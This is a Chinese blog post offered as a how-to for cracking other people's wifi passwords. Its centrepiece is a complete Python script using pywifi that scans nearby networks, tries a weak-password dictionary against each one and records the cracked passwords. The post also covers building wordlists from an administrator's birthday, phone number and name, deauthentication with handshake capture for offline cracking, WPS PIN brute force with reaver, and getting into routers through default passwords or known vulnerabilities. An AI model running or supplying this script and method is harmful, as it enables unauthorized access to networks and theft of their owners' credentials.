前言
应粉丝要求,这周科普一下破解wifi密码的方法。因为我没有深入研究过这个方向,平时做项目也用不到,所以只能写一些比较常用的方法,如果有遗漏希望师傅们可以留言补充。
暴力破解
暴力破解,简称爆破,原理就是不断用可能的密码去尝试连接wifi来破解密码。
爆破wifi的方式主要有两种:纯暴力破解和字典爆破。
纯暴力破解:就是按排列顺序尝试所有可能性,这种方式效率极低,8位数字密码的所有可能性就已经有1亿种,更别提wifi密码中还可以使用字母和符号。所以爆破wifi密码通常采用字典爆破的方法。
字典爆破,之前写过一篇文章中讲过:虽然密码的排列组合有很多可能性,但人们一般会使用一些有规律有意义的密码,把这些密码提取出来做成的字典,就可以破解相当一部分的wifi密码,这是比较有效率的办法。
字典还分为通用字典和社工字典,通用字典就是大多数人都会设的密码比如88888888,12345678,qwer1234等等,社工字典需要收集wifi管理员的信息进行单独制作,比如收集管理员的生日,手机号,姓名做成字典。然后wifi密码可能就是19990604(管理员生日),13698761234(管理员手机)或者xiaoming123(姓名+123)。
至于实施爆破的手段,一般是自己编程序或写脚本,但身为脚本小子,能白嫖别人的为什么要自己动手呢,以下python脚本来自“酒仙桥六号部队”,具体文章见文末参考文献。
from pywifi import const, PyWiFi, Profile
import time
# wifi类
class wifi(object):
def __init__(self):
self.wifi = PyWiFi() #创建一个无线对象
self.interfaces = self.wifi.interfaces() #获取无线网卡接口
self.iface = self.interfaces[0] #获取第一个无线网卡接口
# 获取无线网卡接口
def get_wifi_interfaces(self):
num = len(self.interfaces)
if num <= 0:
print(u'未找到无线网卡接口!\n')
exit()
if num == 1:
print(u'无线网卡接口: %s\n' % (self.iface.name()))
return self.iface
else:
print('%-4s %s\n'%(u'序号',u'网卡接口名称'))
for i, w in enumerate(self.interfaces):
print('%-4s %s' % (i, w.name()))
while True:
iface_no = input('请选择网卡接口序号:'.decode('utf-8').encode('gbk'))
no = int(iface_no)
if no >= 0 and no < num:
return self.interfaces[no]
# 查看无线网卡是否处于连接状态
def check_interfaces(self):
if self.iface.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]:
print('无线网卡:%s 已连接。' % self.iface.name())
else:
print('无线网卡:%s 未连接。' % self.iface.name())
# 扫描周围wifi
def scan_wifi(self):
self.iface.scan() #扫描周围wifi
time.sleep(1) #不缓冲显示不出来
result = self.iface.scan_results() #获取扫描结果,wifi可能会有重复
has = [] #初始化已扫描到的wifi
wifi_list = [] #初始化扫描结果
for i in result:
if i not in has: #若has中没有该wifi,则
has.append(i) #添加到has列表
if i.signal > -90: #信号强度<-90的wifi几乎连不上
wifi_list.append((i.ssid, i.signal)) #添加到wifi列表
print('wifi信号强度:{0},名称:{1}。'.format(i.signal, i.ssid))#输出wifi名称
return sorted(wifi_list, key=lambda x:x[1], reverse=True) #按信号强度由高到低排序
# 连接wifi
def connect_wifi(self, wifi_name, wifi_password):
self.iface.disconnect() #断开无线网卡连接
time.sleep(1) #缓冲1秒
profile_info = Profile() #wifi配置文件
profile_info.ssid = wifi_name #wifi名称
profile_info.auth = const.AUTH_ALG_OPEN #需要密码
profile_info.akm.append(const.AKM_TYPE_WPA2PSK) #加密类型
profile_info.cipher = const.CIPHER_TYPE_CCMP #加密单元
profile_info.key = wifi_password #wifi密码
self.iface.remove_all_network_profiles() #删除其他配置文件
tmp_profile = self.iface.add_network_profile(profile_info) #加载配置文件
self.iface.connect(tmp_profile) #连接
#尝试5秒是否能成功连接(时间过短可能会导致正确密码尚未连接成功)
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED:
print('\n==========================================================================')
print('wifi:{0}连接成功,密码:{1}'.format(wifi_name, wifi_password), end='')
print('==========================================================================\n')
return True
else:
print('密码错误:{0}'.format(wifi_password), end='')
return False
# 断开无线网卡已连接状态
def disconnect_wifi(self):
self.iface.disconnect()
if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:
print('无线网卡:%s 已断开。' % self.iface.name())
else:
print('无线网卡:%s 未断开。' % self.iface.name())
if __name__ == '__main__':
sf = ['Y', 'y', 'N', 'n']
dian = input('是否需要手动点击破解下一个wifi热点(Y/N)?').strip()
wifi = wifi() #实例化wifi类
wifi.get_wifi_interfaces() #获取网卡接口
wifi.check_interfaces() #检测网卡连接状态
print('\n正在扫描wifi热点...')
wifiList = wifi.scan_wifi() #扫描周围wifi
print('\n正在破解,时间较长,请耐心等待...')
#所有破解成功的wifi名称及密码
user_pwd = []
# 只能单线程破解,因为只有一个无线网卡,不能同时连接多个wifi热点
for i in wifiList:
print('正在破解%s,请耐心等待...' % i[0])
start = time.time()
with open(r'1800常用弱口令字典.txt', 'r') as f:
for password in f:
try:
result = wifi.connect_wifi(i[0], password) #尝试连接wifi
if result == True: #若找到密码,则跳出,避免继续查找
user_pwd.append((i[0], password)) #保存破解成功的wifi及密码
break
except:
continue
end = time.time()
shi = end - start
print('破解耗时:%s秒。' % shi)
if dian == 'Y' or dian == 'y':
xia = input('是否继续破解(Y/N)?').strip()
while xia not in sf:
print('输入错误,请重新输入!')
xia = input('是否继续破解(Y/N)?')
if xia == 'Y' or xia == 'y':
continue
else:
break
print('\n==========================================================================')
print('最终统计结果为:')
with open(r'c:/users/administrator/desktop/wifi.txt', 'a') as pwd:
for p in user_pwd:
pwd.write('wifi热点:%s,密码:%s' % (p[0], p[1]))
print(('wifi热点:%s,密码:%s' % (p[0], p[1])), end='')
print('==========================================================================\n')
wifi.disconnect_wifi()
python脚本放在电脑上运行,有些人可能要问,有没有能爆破wifi密码的手机app呢,有,但我不推荐使用手机爆破,因为手机的性能和电脑差的实在太多,强行爆破有种“杀敌一千自损八百”的效果。之前我下载了一个有爆破wifi功能的app试了一下,当时手机就卡到强制重启了。
如果对自己的手机很自信,那可以试试【极简wifi密码钥匙】app的WIFI密探功能,原理就是字典爆破wifi密码。
大数据破解(万能钥匙)
这是成功率最高的方法,很多人应该用过一个app叫做【wifi万能钥匙】,曾经这个app风靡一时,能破解很多wifi密码。现在用的人少了(因为流量便宜了),同时发现app能破解的wifi密码也变少了,这是什么原因呢?
很多人以为wifi万能钥匙也是通过暴力破解的手段破解wifi密码,但用多了你会发现,很多很复杂无规律的密码它也能破解出来,并且使用的时候手机也不会变卡,这很不符合常理。
其实它根本就没有去进行爆破尝试,万能钥匙破解wifi的手段其实是基于大数据共享,下载了万能钥匙之后,你连接过的所有wifi包括密码都会上传到它的服务器,别人就能通过万能钥匙破解你家的wifi。自然你也能通过万能钥匙破解别人家的wifi(只要他也使用万能钥匙),简单的说,你想破解别人的密码,就要先交出自己的密码。
这类app,wifi万能钥匙应该是使用人数最多的,但还有很多种其他app也有一定量的用户,需要时可以都下载回来尝试增加成功率[2]:
腾讯WiFi管家、WiFi 伴侣、360免费WiFi
跑握手包
这种破解方式和wifi的加密方式有关:wep、wpa、wpa2。wep是最古老的,安全性最低的wifi加密方法,已停止使用,目前绝大多数路由器和Wi-Fi连接都使用WPA或WPA2。 [3]
wep加密能实现完全破解,具体原理是其算法的缺陷:当发送12430个数据包时(大概4秒钟左右)99%的概率会发生初始向量IV相同。这时可根据一定的算法分析出密钥和明文。[4]
现在广泛使用的wpa和wpa2协议就不能100%破解了,破解的具体步骤是:取消认证攻击——重连时抓握手包——离线破解密码
先通过取消认证攻击使当前活跃设备与目标wifi断开连接,然后设备一般会自动重连,重连过程中会发送带有加密后的wifi密文的握手包,通过嗅探工具将握手包下载到本地,就可以在本地离线破解wifi密码。
离线破解,大概是类似web渗透中的抓回密码的哈希值,哈希虽不可逆,不能直接算出明文密码,但可以将一大堆明文密码采用同样的哈希算法加密去逐一匹配碰撞,本质也是暴力破解。但和文章开头讲到的爆破的区别是:一个使用网卡爆破,一个是使用cpu爆破,速度上要快近亿倍。
pin码破解
路由器的WPS功能:WPS是Wi-Fi保护设置的英文缩写,致力于简化无线局域网安装及安全性能的配置工作。
对于一般用户,WPS提供了一个相当简便的加密方法。通过该功能,不仅可将都具有WPS功能的Wi-Fi设备和无线路由器进行快速互联,还会随机产生一个八位数字的字符串作为个人识别号码(PIN)进行加密操作。省去了客户端需要连入无线网络时,必须手动添加网络名称(SSID)及输入冗长的无线加密密码的繁琐过程。[7]
简单来说,对于开启了WPS功能的路由器,当你知道了它的pin码,就可以连接到wifi并获取明文密码,不再需要其他认证措施。
pin码有8位,第8位是校验和,可以根据前7位算出,而这7位中前4位和后3位是分别认证的,认证成功会给出提示,所以爆破pin码只需11000次(10^4+10^3)即可保证100%成功。
不过有些路由器也会有反制的措施,比如增加pin认证的时间,使一次pin认证需要花费一分钟,那11000次则需要攻击者不间断爆破七天以上,增加了攻击成本。
具体的操作也是可以直接使用kali上的工具:reaver 破解pin码,搜索关键词:kali破解pin码即可搜到很多文章,比如参考文献
简单点
破解wifi的前提应该是能连接到这个wifi,那说明此时我们和目标的距离是很近的,这时可以采取一些如下非常规的手法去获取wifi密码:
(1)直接问:问管理员wifi密码是多少。
(2)寻找环境中明文记录的wifi密码,它们经常出没在:墙上的便利贴,路由器背面的标签,桌子上的纸张等位置。
(3)寻找网线插口,进入网络内部打路由器获取wifi密码(都能插网线了为啥还需要wifi密码?)打路由器的方法:弱口令、默认口令、超级口令、已知漏洞、0day。
进入路由器管理后台后,可能会看到黑点型的wifi密码

暂无评论内容